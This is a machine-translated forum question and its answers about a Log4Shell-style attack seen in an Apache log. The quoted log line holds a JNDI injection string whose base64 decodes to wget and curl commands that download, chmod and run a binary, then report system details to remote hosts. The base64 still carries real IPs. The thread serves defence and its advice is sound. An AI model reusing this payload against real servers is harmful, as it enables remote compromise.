我不是 IT 或 Apache 专家,但我使用 Linux 多年。我已尽最大努力强化/保护我的在线服务器,该服务器用于需要提供其内容等的移动应用程序。
我注意到今天有人试图使用wget
和攻击我的 Apache 2.4.57 服务器(显然?) log4j
。我没有tomcat
,只是简单地httpd
运行php
。
这是一条日志条目。(我已将日志条目中的 IP 地址信息更改为 XXXX。还请注意状态 200 返回代码,这意味着它成功了:
[Sat Apr 08 16:08:57.428096 2023] [http:trace3] [pid 15227:tid 140593883580160] http_filters.c(1132): [client X.X.X.X:52832] Response sent with status 200, referer: t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//X.X.X.X:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTM0LjY1LjYyLjY0Ly5jb25maWcvemxpYjQ1IDsgY3VybCAtTyBodHRwOi8vMTM0LjY1LjYyLjY0Ly5jb25maWcvemxpYjQ1IDsgY2htb2QgK3ggemxpYjQ1IDsgY2htb2QgNzc3IHpsaWI0NSA7IC4vemxpYjQ1IDIgOyBzdWRvIC4vemxpYjQ1IDIgOyBybSAtcmYgemxpYjQ1OyBjdXJsIGh0dHA6Ly8xMjkuMTUxLjY0LjU1L2FyY2gvJCh1bmFtZSAtbSkvdXNlci8kKHdob2FtaSk7IHN1ZG8gY3VybCBodHRwOi8vMTI5LjE1MS42NC41NS9hcmNoLyQodW5hbWUgLW0pL3VzZXIvJCh3aG9hbWkp}')
解码base64为:(将IP地址替换为XXXX):
wget http://X.X.X.X/.config/zlib45 ; curl -O http://X.X.X.X/.config/zlib45 ; chmod +x zlib45 ; chmod 777 zlib45 ; ./zlib45 2 ; sudo ./zlib45 2 ; rm -rf zlib45; curl http://X.X.X.X/arch/$(uname -m)/user/$(whoami); sudo curl http://X.X.X.X/arch/$(uname -m)/user/$(whoami)
我的问题是,我已经将 wget 可执行文件移至另一个无法被猜测的文件名,例如: wget_wget
。
我的服务器上也没有任何 java,而且我搜索过log4j
但没有找到任何东西(尽管它可能在其他地方或 apache 可执行文件中?)。
我的问题是:
- 为了提高安全性,移除/移动是
wget
一个好主意吗?- 由于
wget
这不是一个可以在我的系统上执行的文件,它是如何返回状态 200 的?- 它真的在我的服务器上执行了这些命令吗?
- 根据日志条目,我的系统上是否真的使用/运行 log4j?
我有来自同一 IP 地址的多个与此类似的其他日志行,所以我想就我看到的情况以及如何更好地保护我的服务器,寻求建议和更多专家意见?我正在运行,fail2ban
但这无法阻止这种类型的攻击。
提前致谢!
答案1
您的所作所为可能会破坏您的系统。但不太可能阻碍攻击者的进展。
你应该:
- 维护已修补的系统,以使已知漏洞无法被利用。
- 研究使用 AppArmour 或 SELinux 等解决方案来限制 Apache 的功能。
你应该不是开始重命名系统实用程序。首先,它可能会破坏您的系统,其次,它不会起作用 - 对攻击者有用的实用程序太多了。例如,Python 有方法可以获取 URL。或者 Perl。或者 php。或者... 可能至少有十种其他方法。
SELinux 或 AppArmour 可以限制软件可以执行的操作。它可以确保您的 apache 用户无法执行命令,但允许您的用户(和其他系统用户)执行命令。
答案2
我个人认为 wget 没什么危害。它就像 curl 一样,是一个用于 http 请求的工具。即使攻击者能够将某些东西上传到你的系统中,比如使用 wget 下载它,执行它的用户权限才是问题所在,当然chmod 777。只需定期修补系统并使用非 sudo 和非 root 用户执行任务(在 /etc/sudoers 中为用户添加所需的权限)